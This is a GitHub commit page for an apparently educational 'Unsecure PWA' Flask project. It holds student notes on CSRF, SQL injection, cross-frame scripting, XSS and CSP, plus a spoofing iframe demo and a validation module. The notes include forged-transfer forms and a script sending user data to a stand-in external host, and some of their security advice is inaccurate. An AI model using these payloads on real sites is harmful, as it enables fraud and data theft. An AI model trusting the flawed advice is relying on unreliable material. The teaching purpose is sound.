-
Notifications
You must be signed in to change notification settings - Fork 10
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 54828ad
Showing
57 changed files
with
2,301 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
{ | ||
"name": "Python Flask Development Container", | ||
"image": "mcr.microsoft.com/devcontainers/universal:2", | ||
"hostRequirements": { | ||
"cpus": 4 | ||
}, | ||
"waitFor": "onCreateCommand", | ||
"updateContentCommand": "pip install -r requirements.txt", | ||
"postCreateCommand": "", | ||
"postAttachCommand": {}, | ||
"portsAttributes": { | ||
"5000": { | ||
"label": "Application", | ||
"onAutoForward": "openPreview" | ||
} | ||
}, | ||
"customizations": { | ||
"vscode": { | ||
"settings": { | ||
"files.autoSave": "onFocusChange", | ||
"editor.formatOnPaste": true, | ||
"editor.formatOnSave": true, | ||
"editor.defaultFormatter": "esbenp.prettier-vscode", | ||
"[python]": { | ||
"editor.defaultFormatter": "ms-python.black-formatter" | ||
}, | ||
"editor.fontSize": 18, | ||
"terminal.integrated.defaultProfile.windows": "Git Bash", | ||
"window.restoreWindows": "preserve", | ||
"workbench.editorAssociations": { | ||
"*.md": "vscode.markdown.preview.editor" | ||
} | ||
}, | ||
"extensions": [ | ||
"McCarter.start-git-bash", | ||
"alexcvzz.vscode-sqlite", | ||
"medo64.render-crlf", | ||
"ecmel.vscode-html-css", | ||
"ms-vscode.js-debug", | ||
"dbaeumer.vscode-eslint", | ||
"miramac.vscode-exec-node", | ||
"yy0931.vscode-sqlite3-editor", | ||
"oderwat.indent-rainbow", | ||
"ritwickdey.LiveServer", | ||
"tomoki1207.pdf", | ||
"ms-vscode-remote.remote-containers", | ||
"ms-vscode-remote.remote-wsl", | ||
"GitHub.codespaces", | ||
"ms-vscode-remote.remote-wsl", | ||
"ms-azuretools.vscode-docker" | ||
] | ||
} | ||
}, | ||
"forwardPorts": [5000] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
# Cross-Site Request Forgery (CSRF) | ||
|
||
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state-changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application. A CSRF attack generally requires an internal threat actor to provide insight into the internal workings of the API or system, which makes it one of the more challenging cyber vulnerabilities to mitigate. | ||
|
||
## How to secure against this attack | ||
|
||
Implement [Flask WTForms](https://flask-wtf.readthedocs.io/en/1.2.x/), which generates and requires a unique secret key by default. | ||
- Implement business knowledge access levels. | ||
- End-user education. | ||
- HTTPS encryption. | ||
- End-user education. | ||
- Implement a CORS Content Security Policy (CSP). | ||
- Understand how the attack can be executed in the specific context of the application and user, then code review with specific scenarios in mind. | ||
- Implement three-factor authentication (3FA) for administrative operations. | ||
- Separate production and development environments. | ||
- White-list firewall policies | ||
|
||
## Example Attack Code | ||
|
||
> [!NOTE] | ||
> Due to the specific, targeted and complex nature of a CSRF it is difficult to demonstrate this attack beyond the below code snippets practically. When reading them, you should assume that the code is executed from a side attack email or document (usually a \*.PDF or macro-enabled \*.xlsx) where the user has already authenticated to the API or system and the code will be validated `True` by the API or system allowing the malicious code to execute successfully. | ||
```html | ||
<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a> | ||
``` | ||
|
||
``` html | ||
<script> | ||
function put() { | ||
var x = new XMLHttpRequest(); | ||
x.open("PUT","http://bank.com/transfer.do",true); | ||
x.setRequestHeader("Content-Type", "application/json"); | ||
x.send(JSON.stringify({"acct":"BOB", "amount":100})); | ||
} | ||
</script> | ||
<body onload="put()"> | ||
``` | ||
|
||
```html | ||
<form action="http://bank.com/transfer.do" method="POST"> | ||
<input type="hidden" name="acct" value="MARIA"/> | ||
<input type="hidden" name="amount" value="100000"/> | ||
<input type="submit" value="View my pictures"/> | ||
</form> | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
# SQL Injection | ||
|
||
A SQL injection attack consists of inserting or " injecting " a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database and modify database data (Insert/Update/Delete). SQL injection attacks are a type of injection attack in which SQL commands are injected into data-plane input to affect the execution of predefined SQL commands. | ||
|
||
# Examples of SQL injections | ||
[W3Schools has a range of SQL Injection examples](https://www.w3schools.com/sql/sql_injection.asp) | ||
|
||
## How to secure against this attack | ||
|
||
- Code review | ||
- Avoid languages like PHP | ||
- Use API with built-in security as the interface to the SQL database | ||
- Defensive data handling | ||
- Require authentication before accepting any text form data | ||
- Never construct queries with concatenating and binary comparison | ||
- Use query parameters ie `cur.execute('SELECT * FROM users WHERE username == ? AND password == ?', (username, password))`. | ||
- Salt database table names with 5-character random string |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
# Cross Frame Scripting | ||
|
||
Cross-frame scripting (XFS) is an attack that combines malicious JavaScript with an iframe that loads a legitimate page in an effort to steal data from an unsuspecting user. This attack is usually only successful when combined with social engineering. An example would consist of an attacker convincing the user to navigate to a web page the attacker controls. The attacker’s page then loads malicious JavaScript and an HTML iframe pointing to a legitimate site. Once the user enters credentials into the legitimate site within the iframe, the malicious JavaScript steals the keystrokes. | ||
|
||
[This example](index.html) demonstrates how easy it is to spoof a webpage, in this case, the Unsecure PWA. | ||
|
||
This attack is particularly effective on mobile devices, as the browser hides most of the URL, and the spoofing page only requires some HTML and some inline JS. That is why XFS coupled with SMS scams are some of the most successful. | ||
|
||
> [!NOTE] | ||
> Make sure the Unsecure PWA is being served at [http://127.0.0.1](http://127.0.0.1) before opening the demonstration page. | ||
> `python main.py` | ||
As a more sophisticated attack, the threat actors would: | ||
|
||
1. Serve both sites through a proxy circumventing any CORS CSP policy | ||
2. Have a back-to-base script that intercepts and transmits input data (username, password, credit card, etc) without the user knowing. | ||
3. Have a threat actor listening for inputs and interacting/handling the victim, which is how 2FA is often bypassed. | ||
|
||
How to secure against this attack | ||
|
||
1. End user education. | ||
2. Monitor HTTP logs for unusually repetitive GET calls. | ||
3. Implement a Content Security Policy (CSP) preventing `<iframe>` loading. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8" /> | ||
<meta http-equiv="Content-Security-Policy" content="script-src http://*;"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge" /> | ||
<link rel="stylesheet" type="text/css" href="CSS/style.css"> | ||
<title>The Unsecure PWA</title> | ||
<link rel="icon" type="image/x-icon" href="http:\\127.0.0.1\static\images\favicon.png" /> | ||
<meta name="theme-color" content="#14E6DD" /> | ||
</head> | ||
<body> | ||
<style> | ||
iframe { | ||
border: 0px ; | ||
width: 100vw; | ||
height: 100vh; | ||
} | ||
</style> | ||
<iframe src="http://127.0.0.1:5000" id="myFrame"></iframe> | ||
|
||
|
||
|
||
<script> | ||
setTimeout(intercept, 10000) | ||
function intercept() { | ||
let iframe = document.getElementById("myFrame"); | ||
let theirUsername = iframe.contentWindow.document.getElementById('username').value; | ||
console.log(theirUsername); | ||
setTimeout(intercept, 10000) | ||
} | ||
</script> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
# Cross Site Scripting (XSS) | ||
|
||
Cross-site scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. | ||
|
||
## Software Engineering Course Specifications | ||
|
||
_"Cross-site scripting (XSS) involves injecting malicious code into an otherwise safe website. It is usually done through user input that is not sufficiently sanitised before being processed and stored on the server._ | ||
_Students should be able to interpret fragments of JavaScript related to cross-site scripting."_ | ||
|
||
Either an internal threat actor has intentionally or unintentionally inserted the malicious code into the code base or an SQL/XXS vulnerability has been exploited to insert the malicious code into the code base. Students should be able to identify that an unknown script has been executed or that a POST request has been made to an unknown URL. | ||
|
||
```html | ||
<HTML> | ||
<HEAD> | ||
<TITLE>Welcome to yourWebsite</TITLE> | ||
<link href="http://yourwebsite.com/favicon.png" /> | ||
</HEAD> | ||
<BODY> | ||
<H1>Your Website</H1> | ||
<SCRIPT src="http://www.randomUrl.com/danger.js"></SCRIPT> | ||
|
||
or | ||
|
||
<SCRIPT> | ||
const response = fetch("http://www.randomUrl.com", { | ||
method: 'POST', | ||
headers: { | ||
'Content-Type': 'application/json; charset=UTF-8', | ||
}, | ||
body: JSON.stringify(yourData), | ||
}); | ||
</SCRIPT> | ||
</BODY> | ||
</HTML> | ||
``` | ||
|
||
## Non-destructive XSS Test Scripts | ||
|
||
To use these scripts, paste them into any input boxes or after the URL in the browser address bar and see what gets executed or saved to the HTML. | ||
|
||
1. `<script>alert(1)</script>` | ||
2. `<img src=x onload(alert(1))>` | ||
3. `<svg onload=alert(1)>` | ||
4. `<iframe src=”javascript:alert(1)”></iframe>` | ||
|
||
## How to secure against this attack | ||
|
||
1. Regular code reviews | ||
2. Only known and secure third-party libraries should be externally linked. Preferably, third-party libraries should be locally served after a code review. | ||
3. Monitor 3rd party libraries for known vulnerabilities and on discovery. | ||
4. Defensive data handling. | ||
5. Declare the language `<html lang="en">`. | ||
6. Delare charset `<meta charset="utf-8">`. | ||
7. Content Security Policy (CSP) Blocking `<SVG>` and `<SCRIPT>` tags. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
# Content Security Policy | ||
|
||
Content Security Policy (CSP) can significantly reduce the risk and impact of cross-site scripting attacks in modern browsers. A CSP has been a W3C recommendation since 2016 and is now the industry standard in securing web applications. | ||
|
||
More information on CSP: [w3c documentation](http://www.w3.org/TR/CSP2/) | ||
|
||
## To add a Content Security Policy header to your Flask application. | ||
|
||
### Installation | ||
Install the extension using pip or easy_install. [Pypi Link](https://pypi.python.org/pypi/flask-csp) | ||
|
||
```bash | ||
$ pip install flask-csp | ||
``` | ||
|
||
## Usage | ||
Add the csp_header(...) decorator after the app.route(...) decorator to create a csp header on each route. The decorator can either be passed no value (Add default policies) or custom values by a dict (Add custom policies). For more information on the default policies, see "Change Default Policies" below. | ||
|
||
### Add default header | ||
```python | ||
@app.route('/', methods=['POST', 'GET']) | ||
@app.route('/index.html', methods=['GET']) | ||
@csp_header({ | ||
"default-src": "'self'", | ||
"script-src": "'self'", | ||
"img-src": "http: https: data:", | ||
"object-src": "'self'", | ||
"style-src": "'self'", | ||
"media-src": "'self'", | ||
"child-src": "'self'", | ||
"connect-src": "'self'", | ||
"base-uri": "", | ||
"report-uri": "/csp_report", | ||
"frame-ancestors": 'none' | ||
}) | ||
def index(): | ||
#index implementation | ||
``` | ||
|
||
### Create an app route for CSP reports | ||
|
||
```python | ||
@app.route('/csp_report',methods=['POST']) | ||
def csp_report(): | ||
with open('csp_reports', "a") as fh: | ||
fh.write(request.data.decode()+"\n") | ||
return 'done' | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
# Defensive Data Handling | ||
|
||
## Input validation | ||
|
||
Input validation is a security control where input is checked to be valid data. It is best practice to validate data on entry to the application before it is stored or processed. If data is not valid it should be discarded and UI feedback provided to the user. | ||
|
||
- Frontend data validation with [form field attributes](..\secure_form_attributes/README.md). | ||
- Backend data validation with [regular expressions, REGEXR and binary selection](data_handler.py) | ||
|
||
## Data sanitisation | ||
|
||
Data sanitisation is where data is 'sanitised' or cleaned for processing or storing. This is the process of replacing any potentially malicious characters with non-processing codes so the text will render as expected, but no processing will occur. For example the malicious string **`"';DROP TABLE users"`** when santitised will be stored as **\'\;DROP TABLE users** but will be render as **`';DROP TABLE users'**. | ||
|
||
### Data sanitisation methods | ||
|
||
- The best practice is to make all strings web-safe before storing or processing them using a library like [html](https://docs.python.org/3/library/html.html). | ||
- Content loaded from a JSON file is loaded after all JavaScript has been executed, so any malicious code in a JSON will never be executed by the browser.* | ||
- Jinga2 (built into Flask) converts all strings into web-safe strings before rendering on the front end.* | ||
|
||
\* _These measures are reactive but are still recomended as best pratice in the situation that malicious code bypasses all defensive measures._ | ||
|
||
## Exception Handling | ||
|
||
Exception handling is essential in defensive data handling as a malicious user may attempt to exploit the application by providing it with invalid input to attempt to trigger a vulnerability. While simple boolean analysis is the minimum. Students should be familiar with [Python exception handling](https://docs.python.org/3/tutorial/errors.html), specifically the [try](https://docs.python.org/3/reference/compound_stmts.html#try) statement. The Backend data validation with [regular expressions, REGEXR and binary selection](data_handler.py) provides a detailed example of this applied to defensive data handing. | ||
|
||
## Logging | ||
|
||
Developing and implementing logging as part of defensive data handling improves a developer's chances of detecting malicious behaviour. A log entry should be made with every error, exception or unexpected behaviour, and it should include sufficient details of the event to allow for improvement of data handling practices. A developer and their organisation should include cyclical log reviews as part of the software development lifecycle. Note: [logging is recommended as best practice by the Australian Signals Directorate's Australian Cyber Security Centre](https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-monitoring/best-practices-event-logging-threat-detection). |
Binary file added
BIN
+2.96 KB
.student_resources/defensive_data_handling/__pycache__/data_handler.cpython-312.pyc
Binary file not shown.
75 changes: 75 additions & 0 deletions
75
.student_resources/defensive_data_handling/data_handler.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
############################################## | ||
# RE = RegExr = Regular Expressions # | ||
# Read the documentation and tutorials # | ||
# https://docs.python.org/3/library/re.html # | ||
# https://docs.python.org/3/howto/regex.html # | ||
############################################## | ||
|
||
import re | ||
import html | ||
import bcrypt | ||
|
||
def simple_check_password(password): | ||
if not issubclass(type(password), str): | ||
return False | ||
if len(password) < 8: | ||
return False | ||
if len(password) > 20: | ||
return False | ||
if re.search(r'[ ]', password): | ||
return False | ||
if not re.search(r'[A-Z]', password): | ||
return False | ||
if not re.search(r'[a-z]', password): | ||
return False | ||
if not re.search(r'[0-9]', password): | ||
return False | ||
if not re.search(r'[@$!%*?&]', password): | ||
return False | ||
# Password is returned encoded so it can't be accidently logged in a human readable format | ||
return True | ||
|
||
def check_password(password): | ||
if not issubclass(type(password), str): | ||
raise TypeError("Expected a string") | ||
if len(password) < 8: | ||
raise ValueError("less than 8 characters") | ||
if len(password) > 20: | ||
raise ValueError("more than 10 characters") | ||
if re.search(r'[ ]', password): | ||
raise ValueError("contains ' ' space characters") | ||
if not re.search(r'[A-Z]', password): | ||
raise ValueError("does not contain uppercase letters") | ||
if not re.search(r'[a-z]', password): | ||
raise ValueError("does not contain lowercase letters") | ||
if not re.search(r'[0-9]', password): | ||
raise ValueError("does not contain a digit '0123456789'") | ||
if not re.search(r"[@$!%*?&]", password): | ||
raise ValueError("does not contain one of '@$!%*?&' special characters") | ||
# Password is returned encoded so it can't be accidently logged in a human readable format | ||
return password.encode() | ||
|
||
def make_web_safe(string): | ||
return html.escape(string) | ||
|
||
def check_email(email): | ||
if re.fullmatch(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)",email): | ||
return True | ||
else: | ||
return False | ||
|
||
def validate_name(name): | ||
# Check if the name is valid (only alphabets allowed). | ||
if not name.isalpha(): | ||
return False | ||
return True | ||
|
||
def validate_number(number): | ||
# Check if the name is valid (only alphabets allowed). | ||
if number.isalpha(): | ||
return False | ||
return True | ||
|
||
def salt_and_hash(password): | ||
return # to be implemented | ||
|
Oops, something went wrong.